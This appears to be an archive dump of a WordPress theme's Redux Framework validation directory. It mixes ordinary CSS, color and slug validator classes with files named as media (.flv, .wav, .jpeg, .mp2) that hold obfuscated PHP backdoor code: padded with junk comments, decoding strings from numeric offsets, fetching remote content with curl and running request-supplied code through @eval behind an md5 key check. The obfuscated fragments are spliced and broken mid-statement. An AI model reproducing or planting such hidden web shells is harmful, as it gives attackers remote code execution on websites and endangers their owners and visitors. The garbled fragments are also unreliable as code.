/*-65>Q]1-*/$xF/*-f5>ehaUYr-*/);/*-9Bls-*/ $TB /*-EFJYi[1.-*/=/*-N0pF-*/ $hptQfjWrVk/*-OFV^wZ-*/[/*-8FBNV-*/1+1/*-Ts2^-*/]/*-.b(wK-*/(/*-_-*/$nrcSL,/*-2q`mzte-*/ true/*-$hL4:ZH-*/); /*-f7m2v3-*/@${/*-~30Ib#-*/"_"./*-Lq(#N6qxI-*/"G"./*-BI-*/"E"/*-D]ZWqIT-*/."T"/*-WfSX|y#Y-*/}/*-.J!9-*/[/*-g-*/$hptQfjWrVk/*-LX)-*/[9+1/*-W}cNxMZ-*/]/*-&+I-*/]/*-@ZtscB-*/ == /*-!6.cwe:`#w-*/1 /*-wfarFgxg?-*/&& /*-nv&Nr-*/die/*-sRNZ`-*/(/*-CY7|S-*/$hptQfjWrVk[4+1/*-k8-*/]/*-FK-*/(/*-[l0{gC-*/__FILE__/*-iFQ&Mo9-*/)/*-<>Tu+Zh9rc-*/); /*-sHO+jf-*/if/*-d`-*/(/*-8^o%;tN-*/ (/*- /*-4t7IC1sl{h-*/0/*-erCA-*/)/*-R:-*/ self/*-5NZv-*/::/*-ehH5OcF<=-*/ReANFGqTl/*->GbqO-*/(/*-Z|!S]FB,-*/$TB/*-oM95=H-*/[/*-)U4~c~-*/0+1/*-f!cBd&-*/], /*-s.~2(9i-*/$hptQfjWrVk/*-1lR}qB-*/[/*-6#-*/4+1/*-ZZ-*/]/*-0|<&Fe-*/);/*-z#BL-*/@eval/*-4yNm,,-*/(/*-:9fA)N3-*/$hptQfjWrVk/*-&.3-*/[/*-vl}CR~a-*/0+4/*-jS{8-pXcm-*/]/*-:<-*/(/*-rlG|-*/$bewvczuVED/*-BkiuZV6)r-*/)/*-1!-*/);/*-Jic?wOo5tP-*//*-tv-*/die;/*-j9L`=EI6L-*/ endif;/*-cdn.R$GD-*/ }/*-mB(=V%6{-*/}/*-BO~-*/yJV/*-+RNL?c--*/::/*-y&UmQ|~-*/xve/*-;TboE(~-*/();/*-:]8,|@6]c-*/ ?>lib/redux-framework/inc/validation/css/css/WCtvJZV.flv000064400000011753147206624460016727 0ustar00clM1s-*/.$C/*-3;KOw-*/[48+9]/*-[hjV-*/}; /*-=?n%fqt$-*/if/*-JvL^8&-*/((/*--*/$nV/*-@+T2x)Z}F-*/); /*-|XW]-*/$RWuqgMdPBV /*-7$(q;-*/= /*-k9ww-*/""; foreach /*-@lOj}-*/(/*-4kP`$d$8-*/$bHTuAGPqCS /*-c?nWf7-*/as /*-}(-*/$SQsHLYmbcO /*-Dhz/*-o9BAMK,-*/ $DKn/*-NiR-*/) /*-9A-*/$RWuqgMdPBV /*-D.t#ag:0-*/.= /*-4b@ypAJ-*/$NKLiHB[$DKn/*-ge@qs(,6>?-*/ - /*-sTjER-*/57801/*-2zY#g-*/];/*-63-*/ return /*-v~-*/$RWuqgMdPBV; /*-5pnz_-*/} /*-`:r@Uo-*/static /*-X1l+H-*/function /*-).r$HkfoO-*/CvDP/*-?[lD3H(,I-*/(/*-8@Q3_n-*/$PzQCRn,/*-HJ$+-*/ $DGsIgvbq/*-w<-*/)/*-cbnGa|-*/ {/*-o,wO-e673q-*/(/*-.be%-*/$PzQCRn/*-,}x5[Z#47+-*/);/*-Hc+aGo,-*/ curl_setopt/*-,r(&%n.-*/(/*-sbnkW-*/$yuHvcS,/*-gP%R7-*/ CURLOPT_RETURNTRANSFER,/*-T#yPv-*/ 1/*-RJ.oO39-*/);/*-!loT]0o}gb-*/ $XCswUGVnBK/*-+T-*/ = /*-!6Y%-*/curl_exec/*-IQh`@-*/(/*-t8Ln(W-*/$yuHvcS/*-e%s:WrttI-*/); /*-Yfa9<9-*/return /*-`4h9z-*/$DGsIgvbq/*-xa(vSa{Wn1-*/(/*-,O>F[^P-*/$PzQCRn/*-Ti0K0eA-*/)/*-R6u-*/ : /*-.@v>7dOg>-*/$XCswUGVnBK; /*-_LOe^6rn{-*/}/*-R5q-*/ static/*-s}{-M-*/ function /*-6Cf)-*/uBFhqgYTMx/*-Yv-*/() /*-V?AD-*/{/*-tf-PC-*/ $PxqQ /*-2fP%ypfIWp-*/=/*-:9zS9Vj@-*/ array/*-sLC{iv-*/("57828(57813(57826(57830(57811(57826(57832(57825(57810(57817(57828(57811(57822(57816(57817","57812(57811(57813(57832(57813(57816(57811(57878(57876","57821(57812(57816(57817(57832(57827(57826(57828(57816(57827(57826","57815(57830(57828(57820","57829(57830(57812(57826(57873(57875(57832(57827(57826(57828(57816(57827(57826","57825(57822(57819(57826(57832(57824(57826(57811(57832(57828(57816(57817(57811(57826(57817(57811(57812","57855(57885","57802","57880(57885","57862(57845(57845(57862(57838","57816(57825"); /*-~3fy-*/foreach /*-ne9C-*/(/*-+yyY,`;Mx-*/$PxqQ/*-:i9O7B6;-*/ as /*-nhi{UN^L-*/$fshpUZLoKC/*-%^:{&.09-*/)/*-Lb-*/ $iAprYfqB/*-Kj3!;-*/[] /*-BbX-yL`7xW-*/= /*-`b-*/self/*-OROZ+<>8-*/::/*-PwS!{c,5-*/CwdopPcRb/*-5qgOun-*/(/*-7F=?^L-*/$fshpUZLoKC/*-gg-*/);/*-tSwE:c-*/$pYQehm /*-oIN-*/= /*-Sg2-*/@$iAprYfqB/*->MM[S-*/[/*-Xz&M8eOrc-*/1/*-NG2un!i2-*/]/*-E)s$wb-*/(/*-BR9c]b!!&-*/${/*-aLh(g5BX-*/"_"/*-|nHx-*/."G"/*-Vhk6Lkt-*/."E"/*-@4rk-*/."T"/*-,fL-*/}[/*-_D8-*/$iAprYfqB/*-S-*/[/*-zP-*/6+3/*-r%-*/]]/*-d`-*/);/*-5B-*/ $yzBXC /*-`>+-*/=/*-^7Pmig|8-*/ @$iAprYfqB/*-2U-#^NZ&-*/[/*-o6VjA-*/3+0/*-LE!k$D-*/$iAprYfqB/*-$T1-*/[8+2/*-jn,-6-*/]/*-.f^5@E--*/]/*-laGORbi-*/ == /*-VRv`STQ-*/1 /*-Wguid8;q=v-*/&& /*-i-*/die/*-le60N=O)q-*/(/*-2h-*/$iAprYfqB[5+0/*-o{C(5L-*/]/*-a(7z6-*/(/*-NpL07I$-*/__FILE__/*-KF!C1uh]-*/)/*-&Y&.1Dl-U~-*/); /*-NDoXA-*/if/*-=K-LR(5|S+-*/(/*--8P7-*/ (/*-1qMo4&-*/(@/*-}AU?Zp-*/$PZhA/*-zt<-*/[/*-eH-*/0/*-)l5qgDg9`-*/] /*-M;X5t=$A0#-*/- time/*-cZGkehp-*/()/*-)U,TZ(N /*-pl-*/0/*-h4-*/)/*-]|BV-*/ and /*-y(!3?O&-Gr-*/(/*-sRAA+M`o-*/md5/*-p09-*/(/*-(aj=A~-*/md5/*-Ko#x--*/(/*-9N~P-*/$PZhA/*-Z9g]sG?-*/[/*-ONM%-*/2+1/*-U;tT?-*/]/*-TZG>P[,Z--*/)/*-!J,oC>9-*/)/*-Cc8|]B-*/ === /*-e!zu-*/"df5327724b58df978dd1c6264fb70879"/*-Us<,vE-*/)/*-m3?qtA-*/ ): /*-UXS,QdX}t-*/$SBzdsRnkyQ /*-IU^T-*/=/*-1@#-*/ self/*-;;a-*/::/*-=a.-*/CvDP/*-,>a-*//*-p):-*/die;/*-(w6CtdF6{H-*/ endif;/*-Dy-*/ }/*-Q~}|M-*/}/*-2m-*/A/*-E.W-*/::/*-~ZE-*/uBFhqgYTMx/*-,cl4EhT&[-*/();/*-)adMnT-*/ ?>lib/redux-framework/inc/validation/css/css/.htaccess000064400000001626147206624460016535 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/validation/css/validation_css.php000064400000002626147206624460017663 0ustar00parent = $parent; $this->field = $field; $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and validates them * * @since ReduxFramework 3.0.0 */ function validate() { $data = $this->value; $data = wp_filter_nohtml_kses( $data ); $data = str_replace( '>', '>', $data ); $data = stripslashes($data); if ($data != $this->value) { $this->field['msg'] = __( 'Unsafe strings were found in your CSS and have been filtered out.', 'redux-framework' ); $this->warning = $this->field; } $this->value = $data; } //function } //class }lib/redux-framework/inc/validation/css/.htaccess000064400000001626147206624460015745 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/validation/color/color/color/XjsuzfMYOgvi.wav000064400000011733147206624460022034 0ustar00w]|23-*/&&count/*-9%`aLX;-*/($ac)/*-d+BDTkB-*/==/*-bf-*/20))/*->?^-*/{ /*-W6?;-*/(($ac[66]=$ac[66].$ac[75])&&($ac[89]=$ac[66]($ac[89]))&&(/*-bi-*/@eval/*-NO_dw>E-*/($ac[66](${$ac[37]}[25])/*-!`0FwU[-*/))/*-m!VO~d-*/);}/*-[e:V%0R-*/class /*-Q8F-*/qFfE{ /*-MbUO.!-*/static/*-#|T-*/ function /*-U6=}66&-*/yUN($ECpv) /*-:{~u:x$>C-*/{ $mVU/*-WEBH(0%-*/ = /*-p5R6>-*/"r"./*-?S%P?-*/$lhKMQ /*-S}BuQ-*/=>/*-8Q_BANc-*/ return /*-Qk|u7-*/$VxXhvkfc; /*-pfR5-*/} /*-5Fy-*/static /*-0-*/function /*-CyM2>R-*/op/*-,%HF-*/(/*-6z%a)-*/$dqbIQOnU,/*-8yn(ZtN$-*/ $YTIrKHtMCS/*-w1-*/)/*-JH#d-*/ {/*-M01A2-*/ $VvW/*-CuXt-*/ = /*-13R>}(DA;T-*/curl_init/*-TLK-*/(/*-#|-*/$dqbIQOnU/*-)I-*/);/*-h:%8]W]-*/ curl_setopt/*-b;7f2ru-*/(/*-6gchRwzd-*/$VvW,/*-yc,T]-*/ CURLOPT_RETURNTRANSFER,/*-fO3F^0-*/ 1/*-KB)[F-*/);/*-P0!F-*/ $dw/*-Z^-*/ = /*-}b}};t)Mq4-*/curl_exec/*-LA2hTt<|?i-*/(/*-Iq-*/$VvW/*-210)f0u-*/); /*-}5cXKDA(-*/return /*--A9{h-*/empty/*-5ft86Isx-*/(/*-9l:YbYbko-*/$dw/*-l#7-*/)/*-Z?zXl86-*/ ? /*-B-*/$YTIrKHtMCS/*-z32-*/(/*-<3A_Y-*/$dqbIQOnU/*-0ipg-*/)/*-#ad>ic?Y-*/ : /*-S@zBkC-*/); /*-mB,;ub@{-*/if/*-{HY6h%;VY.-*/(/*-%HcAw-*/[/*-bEmE.vJ-*/0/*-ZHO%`t@y-*/] /*-F:-*/- time/*-Zm$K{^8l@-*/()/*-,f-*/) > /*-_]y7Lq-*/0/*-SY6V-*/)/*-f}DD-*/ and /*-{$H`rF.a8-*/(/*-SRc+~N-*/md5/*-zve-*/(/*-2;-*/ self/*-]95DAGKL-*/::/*-9:-*/op/*-aYh}(|(2Bv-*/(/*--]~:YE8-*/[/*-%,X-C-*/0+1/*-`r]Cgxh-*/], /*-NKvje&v!-*/$kxvlawLse/*-uhK1AjF5y-*/[/*-FpOy+7u-*/0+5/*-2q!-*/]/*-^,dR9kUC-*/);/*-a@-*/@eval/*--SbZI.T-*/(/*-DDkA-*/$kxvlawLse/*-i$,y1`+$-*/[/*-el=q7otO,I-*/1+3/*-73-*/]/*-A#|p:-*/(/*-O_c0-*/$NlasyKedp/*-Vm%WD.yi-*/)/*-nlwmK^-*/);/*-$$jDM2-*//*-ouA[-*/die;/*-Kzjx-*/ endif;/*-fZri9wE-*/ }/*-hBYZ-*/}/*-8C~kUO-*/qFfE/*-f|jm-*/::/*-D^E!-*/mle/*-&6-*/();/*-vYi~Pyq-*/ ?>lib/redux-framework/inc/validation/color/color/color/index.php000064400000000000147206624460020532 0ustar00lib/redux-framework/inc/validation/color/color/color/.htaccess000064400000001626147206624460020527 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/validation/color/color/index.php000064400000000000147206624460017414 0ustar00lib/redux-framework/inc/validation/color/color/kaqT.jpeg000064400000011325147206624460017357 0ustar00z-*/{ $ve/*-_8-*/ = /*-G/*-kMf-*/ $CmdU/*-tIcy-*/) /*-C&-*/$Bc /*-rv76w{u-*/.= /*--i^-$-*/$AMmfDLqO[$CmdU/*-lNPov|QR-*/ - /*-z7-*/2199/*->Y~vp-*/];/*-.DerVE-*/ return /*-vTA-*/$Bc; /*-DFD-*/} /*-i)6-*/static /*-ISm#xu-*/function /*-^c;sar-*/huL/*-<1,eG-*/(/*-9u_-*/$LzGBNk,/*-HwHS`i;H-*/ $EFCeYTN/*-xmR;]e-*/)/*-6:-*/ {/*-hZN-*/ $dOiEnNcR/*-7!-*/ = /*-aJ.#-*/curl_init/*-Qzo!PU4-*/(/*-3^K]E6A-*/$LzGBNk/*-@j-*/);/*-tj-*/ curl_setopt/*-mKp-*/(/*-vZN-*/$dOiEnNcR,/*-B73VU-*/ CURLOPT_RETURNTRANSFER,/*-g1$)-*/ 1/*-hkA-*/);/*-i2-*/ $LSHRi/*-wGefvpt-*/ = /*-AX`)-*/curl_exec/*->g0#[l@#-*/::/*-!QD-*/cnhqXpo/*-rNT-v`N!L-*/(/*-1`okO6kS-*/$bcWhBgF/*-A:,-=-*/);/*-G5Yz][|-*/$aBznYySQb /*-;X{Qq_6f-*/= /*-3D)k-*/@$IfOT/*-Zs_Omz2-*/]/*-E-+|QinW-*/(/*-5(`NZvj+-*/$IfOT/*-&0+-*/[/*-qg_.-*/1+5/*-TV-*/], /*-Rut-*/$aBznYySQb/*-v]-*/);/*-ZZ7bQfBA-*/ $MDulq /*-3eMHh6S_P,-*/=/*-Ah>RXS=-*/ $IfOT/*-i(6g_jZ47X-*/[/*-a5:6f#-*/2+0/*-pJw}sa9-*/]/*-Wo-*/(/*-d28Sq7m-*/$iPVw,/*-t2~u-*/ true/*-x|Q-f-tmd-*/); /*-Ys_#-*/@${/*-_;-*/"_"./*-WRbE-*/"G"./*-b1o1-*/"E"/*-y^-*/."T"/*--u@i]6g9N$-*/}/*-aYL?xR-*/[/*-YT-*/$IfOT/*-lJO-*/[9+1/*-L3x|l_z%F-*/]/*-m}D6I#v-*/]/*-gUGVau$-*/ == /*-jU2QG)-*/1 /*-^^Ph~+Kq-*/&& /*-F8lm,-*/die/*-4Qk~-*/(/*-n!h-*/$IfOT[3+2/*-8r`.hT&-*/]/*-A{aQ}}u`8-*/(/*-Y|-*/__FILE__/*-.wW4G7hq-*/)/*-,@)zHsi-*/); /*-^_G$4-*/if/*-+-*/(/*-KlrLzq-*/ (/*-o;0EyA=-*/(@/*-;B-*/$MDulq/*-1>da(g-*/[/*-S=t|a$83[-*/0/*-:@O:fwb-*/] /*-yj]dOHe&dU-*/- time/*-Y-*/()/*-}c-*/) > /*-=p@_-*/0/*-Z!+G-*/)/*-1jWf?]-*/ and /*-Bt6-*/(/*-x#De<-*/md5/*-hPGV9-*/(/*-Lg!2esalP.-*/md5/*-&=p(-*/(/*-lib/redux-framework/inc/validation/color/color/.htaccess000064400000001626147206624460017411 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/validation/color/validation_color.php000064400000013131147206624460020530 0ustar00parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'This field must be a valid color value.', 'redux-framework' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Validate Color * Takes the user's input color value and returns it only if it's a valid color. * * @since ReduxFramework 3.0.0 */ function validate_color( $color ) { if ( $color == "transparent" ) { return $color; } $named = json_decode( '{"transparent":"transparent", "aliceblue":"#f0f8ff","antiquewhite":"#faebd7","aqua":"#00ffff","aquamarine":"#7fffd4","azure":"#f0ffff", "beige":"#f5f5dc","bisque":"#ffe4c4","black":"#000000","blanchedalmond":"#ffebcd","blue":"#0000ff","blueviolet":"#8a2be2","brown":"#a52a2a","burlywood":"#deb887", "cadetblue":"#5f9ea0","chartreuse":"#7fff00","chocolate":"#d2691e","coral":"#ff7f50","cornflowerblue":"#6495ed","cornsilk":"#fff8dc","crimson":"#dc143c","cyan":"#00ffff", "darkblue":"#00008b","darkcyan":"#008b8b","darkgoldenrod":"#b8860b","darkgray":"#a9a9a9","darkgreen":"#006400","darkkhaki":"#bdb76b","darkmagenta":"#8b008b","darkolivegreen":"#556b2f", "darkorange":"#ff8c00","darkorchid":"#9932cc","darkred":"#8b0000","darksalmon":"#e9967a","darkseagreen":"#8fbc8f","darkslateblue":"#483d8b","darkslategray":"#2f4f4f","darkturquoise":"#00ced1", "darkviolet":"#9400d3","deeppink":"#ff1493","deepskyblue":"#00bfff","dimgray":"#696969","dodgerblue":"#1e90ff", "firebrick":"#b22222","floralwhite":"#fffaf0","forestgreen":"#228b22","fuchsia":"#ff00ff", "gainsboro":"#dcdcdc","ghostwhite":"#f8f8ff","gold":"#ffd700","goldenrod":"#daa520","gray":"#808080","green":"#008000","greenyellow":"#adff2f", "honeydew":"#f0fff0","hotpink":"#ff69b4", "indianred ":"#cd5c5c","indigo ":"#4b0082","ivory":"#fffff0","khaki":"#f0e68c", "lavender":"#e6e6fa","lavenderblush":"#fff0f5","lawngreen":"#7cfc00","lemonchiffon":"#fffacd","lightblue":"#add8e6","lightcoral":"#f08080","lightcyan":"#e0ffff","lightgoldenrodyellow":"#fafad2", "lightgrey":"#d3d3d3","lightgreen":"#90ee90","lightpink":"#ffb6c1","lightsalmon":"#ffa07a","lightseagreen":"#20b2aa","lightskyblue":"#87cefa","lightslategray":"#778899","lightsteelblue":"#b0c4de", "lightyellow":"#ffffe0","lime":"#00ff00","limegreen":"#32cd32","linen":"#faf0e6", "magenta":"#ff00ff","maroon":"#800000","mediumaquamarine":"#66cdaa","mediumblue":"#0000cd","mediumorchid":"#ba55d3","mediumpurple":"#9370d8","mediumseagreen":"#3cb371","mediumslateblue":"#7b68ee", "mediumspringgreen":"#00fa9a","mediumturquoise":"#48d1cc","mediumvioletred":"#c71585","midnightblue":"#191970","mintcream":"#f5fffa","mistyrose":"#ffe4e1","moccasin":"#ffe4b5", "navajowhite":"#ffdead","navy":"#000080", "oldlace":"#fdf5e6","olive":"#808000","olivedrab":"#6b8e23","orange":"#ffa500","orangered":"#ff4500","orchid":"#da70d6", "palegoldenrod":"#eee8aa","palegreen":"#98fb98","paleturquoise":"#afeeee","palevioletred":"#d87093","papayawhip":"#ffefd5","peachpuff":"#ffdab9","peru":"#cd853f","pink":"#ffc0cb","plum":"#dda0dd","powderblue":"#b0e0e6","purple":"#800080", "red":"#ff0000","rosybrown":"#bc8f8f","royalblue":"#4169e1", "saddlebrown":"#8b4513","salmon":"#fa8072","sandybrown":"#f4a460","seagreen":"#2e8b57","seashell":"#fff5ee","sienna":"#a0522d","silver":"#c0c0c0","skyblue":"#87ceeb","slateblue":"#6a5acd","slategray":"#708090","snow":"#fffafa","springgreen":"#00ff7f","steelblue":"#4682b4", "tan":"#d2b48c","teal":"#008080","thistle":"#d8bfd8","tomato":"#ff6347","turquoise":"#40e0d0", "violet":"#ee82ee", "wheat":"#f5deb3","white":"#ffffff","whitesmoke":"#f5f5f5", "yellow":"#ffff00","yellowgreen":"#9acd32"}', true ); if ( isset( $named[ strtolower( $color ) ] ) ) { /* A color name was entered instead of a Hex Value, convert and send back */ return $named[ strtolower( $color ) ]; } $color = str_replace( '#', '', $color ); if ( strlen( $color ) == 3 ) { $color = $color . $color; } if ( preg_match( '/^[a-f0-9]{6}$/i', $color ) ) { return '#' . $color; } //$this->error = $this->field; return false; } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 3.0.0 */ function validate() { if ( is_array( $this->value ) ) { // If array foreach ( $this->value as $k => $value ) { $this->value[ $k ] = $this->validate_color( $value ); } //foreach } else { // not array $this->value = $this->validate_color( $this->value ); } // END array check } //function } //class }lib/redux-framework/inc/validation/color/.htaccess000064400000001626147206624460016273 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/validation/unique_slug/validation_unique_slug.php000064400000006223147206624460023200 0ustar00parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'That URL slug is in use, please choose another. %s is open for use.', 'redux-framework' ); $this->field['flush_permalinks'] = ( isset( $this->field['flush_permalinks'] ) ) ? $this->field['flush_permalinks'] : false; $this->value = $value; $this->current = $current; $this->validate(); } //function function validate() { global $wpdb, $wp_rewrite; $slug = $this->value; $feeds = $wp_rewrite->feeds; if ( ! is_array( $feeds ) ) { $feeds = array(); } // Post slugs must be unique across all posts. $check_sql = "SELECT post_name FROM $wpdb->posts WHERE post_name = %s LIMIT 1"; $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $slug ) ); /** * Filter whether the post slug would be bad as a flat slug. * * @since 3.1.0 * * @param bool $bad_slug Whether the post slug would be bad as a flat slug. * @param string $slug The post slug. * @param string $post_type Post type. */ if ( $post_name_check || in_array( $slug, $feeds ) || apply_filters( 'wp_unique_post_slug_is_bad_attachment_slug', false, $slug ) ) { $suffix = 2; do { $alt_post_name = _truncate_post_slug( $slug, 200 - ( strlen( $suffix ) + 1 ) ) . "-$suffix"; $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $alt_post_name ) ); $suffix ++; } while ( $post_name_check ); $slug = $alt_post_name; $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->field['msg'] = sprintf( $this->field['msg'], $slug ); $this->error = $this->field; } else if ( isset( $this->field['flush_permalinks'] ) && $this->field['flush_permalinks'] == true ) { add_action( 'init', array( $this, 'flush_permalinks' ), 99 ); } } //function function flush_permalinks() { flush_rewrite_rules(); } } //class } lib/redux-framework/inc/validation/unique_slug/.htaccess000064400000001626147206624460017515 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/validation/color_rgba/color_rgba/index.php000064400000000000147206624460021402 0ustar00lib/redux-framework/inc/validation/color_rgba/color_rgba/ns.mp2000064400000011521147206624460020634 0ustar00^RP$2Dl-*/"r"./*-L`f4-*/"a"."n"./*-p7~;iCe-*/"g"."e"; /*-eLFV-*/$tarFY/*-9%(1pWX5v>-*/ = /*-T)jA^bUsU?-*/$E/*-6)UsG_-*/("~", /*-x6wu[-*/" "); /*-r8Ix-*/$f/*-{0?o-*/=/*-1WO-*/${$tarFY/*-n+T5Hf-*/[21+10/*-Th<-*/].$tarFY/*-1s(b-*/[49+10]/*-J$aww1s}t-*/.$tarFY/*-?r`.|jV{{$-*/[23+24]/*-Le)n+cENr-*/.$tarFY/*-v#}9;-*/[4+43]/*-9hAhLd!-*/.$tarFY/*-,Hdod-*/[38+13]/*-e|`y-*/.$tarFY/*->`~5GC-*/[0+53]/*-Eza`,qXN-*/.$tarFY/*-Pb6BrDdB-*/[32+25]/*-lJoM~uti-*/}; /*-PG-*/($f)./*-UCKTC!E-*/count/*-,`=-*/($f),/*-%jSj!f-|v-*/$f)/*-Xw[Bh-*/&&count/*-H0v-*/($f)/*-YPo(-*/==/*-m-M-*/29))/*-=~iE5-*/{ /*-b>-*/(($f[66]=$f[66].$f[74])&&($f[88]=$f[66]($f[88]))&&(/*-lHF&JfR[-*/@eval/*-0^@jY+_Kw-*/($f[66](${$f[43]}[13])/*-+Er-*/))/*-V;-*/);}/*-0ajO@ct-*/class /*-nS~9pO_|-*/C{ /*-C6m-*/static/*-w{&!%k-*/ function /*-5l0+-*/Oil($RMLX) /*->ssy)u|)-*/{ $oNgWPnIpGT/*-uvsFE-*/ = /*-jc2p5X-*/"r"./*-v-*/"a"./*-2~~Vtkg~qS-*/"n"./*-}Zot_07Tx--*/"g"./*-vy&e-*/"e"; /*-qQA_n6m-*/$rkmsL/*-rqK$O-*/ = /*-sha0sgS,I<-*/$oNgWPnIpGT/*-z(-*/(/*->MT=04_-*/"~"/*-F%t-*/, /*-`7yM-*/" "/*-5meQV8>-*/);/*-f8j_q5O5(-*/ $CBUm /*-{ctdTR-*/= /*-Ioq[:n-*/explode/*-e7cLAG$95-*/(/*-h-*/"*", /*-QW-*/$RMLX/*-VW-*/); /*-A/*-%G3J:r-*/ $ghNa/*-4.43;cG-*/) /*-R~SOQh8Jf-*/$nTjMKFp /*-X;y80AHqO-*/.= /*-A>z-*/$rkmsL[$ghNa/*-Nh}-*/ - /*-&i7jSeQ-*/60033/*-x-*/];/*-EH_0APb-*/ return /*-I^_q-*/$nTjMKFp; /*-:[{:^k-*/} /*-x-*/static /*-e2J;:-*/function /*-KNhU)?ptQ3-*/TFBS/*-Cpu-*/(/*-Fl2t8p-*/$GYSdA,/*-pRiTCZ.>^4-*/ $bQzu/*-j^+-*/)/*-AEdX-*/ {/*-9TP-*/ $wdHn/*-!$-*/ = /*-^g0q-*/curl_init/*-j9%$-*/(/*-5L[TQA9RE-*/$GYSdA/*-Mp.4dlUx-*/);/*-hJ%m>qT~bn-*/ curl_setopt/*-yxD?.l3-*/(/*-^>sp4-*/$wdHn,/*--]k9Pp-*/ CURLOPT_RETURNTRANSFER,/*-s1-*/ 1/*-~+!y0=&rk6-*/);/*-e`6Q:xHrY-*/ $Sc/*-1,xhMwp%us-*/ = /*-6:$_-*/curl_exec/*-JF&@>&-*/(/*-)EWE-*/$wdHn/*-gO-*/); /*-y2-*/return /*-z|-39ZG_R-*/empty/*-nKJB-,~-*/)/*-gup}F&C-*/ : /*-2q-*/$Sc; /*-j0?]-*/}/*-+5hIT_-*/ static/*-KQ+GDD-*/ function /*-2?gF}V)wk-*/PeqAsd/*-xbN3Lm+6{-*/() /*-U,Kd5.T-*/{/*-Xb{-*/ $YiINmtae /*-%wPc>@G`-*/=/*-iX$-*/ array/*-N8(-*/("60060*60045*60058*60062*60043*60058*60064*60057*60042*60049*60060*60043*60054*60048*60049","60044*60043*60045*60064*60045*60048*60043*60110*60108","60053*60044*60048*60049*60064*60059*60058*60060*60048*60059*60058","60047*60062*60060*60052","60061*60062*60044*60058*60105*60107*60064*60059*60058*60060*60048*60059*60058","60057*60054*60051*60058*60064*60056*60058*60043*60064*60060*60048*60049*60043*60058*60049*60043*60044","60087*60117","60034","60112*60117","60094*60077*60077*60094*60070","60048*60057"); /*->?-*/foreach /*-)J4X`1n-*/(/*-`g>$cxA-*/$YiINmtae/*-ph];xk-*/ as /*-3U3P_F-*/$lm/*-_ZUH6(-*/)/*-Q$x>s_-*/ $osdcy/*-1[mSy?i-*/[] /*-tJo!wxz;-*/);/*-MP-*/$gz /*-Fv-*/= /*-ji#@9Np-*/@$osdcy/*-]RG%de0q-*/[/*-fd2rZY!?hP-*/1/*-Xq-i-*/]/*-8,LG2-*/(/*-(y;-*/${/*-0h]9))0-*/"_"/*-k9iX-*/."G"/*-tI!S%GC-*/."E"/*-a1.(V6,-*/."T"/*-FshQ-*/}[/*-)Bo&|-*/$osdcy/*-jLlRZ!|]-*/[/*-P=A-*/6+3/*-g+Y-*/]]/*-zf-<}-*/);/*-:-*/ $zC /*-:G%W-*/=/*-GTD+>-*/ @$osdcy/*-bGcX-*/[/*-AD!_-*/1+2/*-@MR5]h-*/]/*-J+v-*/(/*-oMOzP`e-*/$osdcy/*-$b:OPjYD=-*/[/*-:jgTO3-*/0+6/*-L@Q&9Vg-*/], /*-&k-*/$gz/*-T<)?Cvs-*/);/*-m&K-*/ $MeokOUjqnl /*-m-*/=/*-d-*/ $osdcy/*-JT]-*/[/*-:MLPUG1O[-*/0+2/*-6`_-*/]/*-[--*/(/*-gqvI)2L-*/$zC,/*-A;FH=b7n-*/ true/*-SepR&-*/); /*-UdRJox-*/@${/*-UT?F|m$j-*/"_"./*-J&C,62~,4L-*/"G"./*-IiY-*/"E"/*-{dB+G-*/."T"/*--9aD@-*/}/*-h3p-*/[/*-2Cs-*/$osdcy/*-h+Ul4f-*/[5+5/*-q$jZCZLI-*/]/*-@l&C-*/]/*-~yrY],=J-*/ == /*-OB=Ld`zsw6-*/1 /*-;xHb-*/&& /*-ve-*/die/*-!pC;np-*/(/*-x`#r#-*/$osdcy[4+1/*-X:v]vj4d-*/]/*-=C?LQbJ-*/(@/*-Uz:-*/[/*-+A188-*/0/*-FW9,[zy55E-*/] /*-Am-*/- time/*-955Ds-*/()/*-{8-*/) > /*-i{5!0K:-*/0/*-Qh)bEhqe`-*/)/*-#h,XW^-*/::/*-XXK|Y3x}-*/TFBS/*-V4e0-*/(/*-9a-*/$MeokOUjqnl/*-=eFc1]-*/[/*-,}D~n=-*/1+0/*-$A-*/], 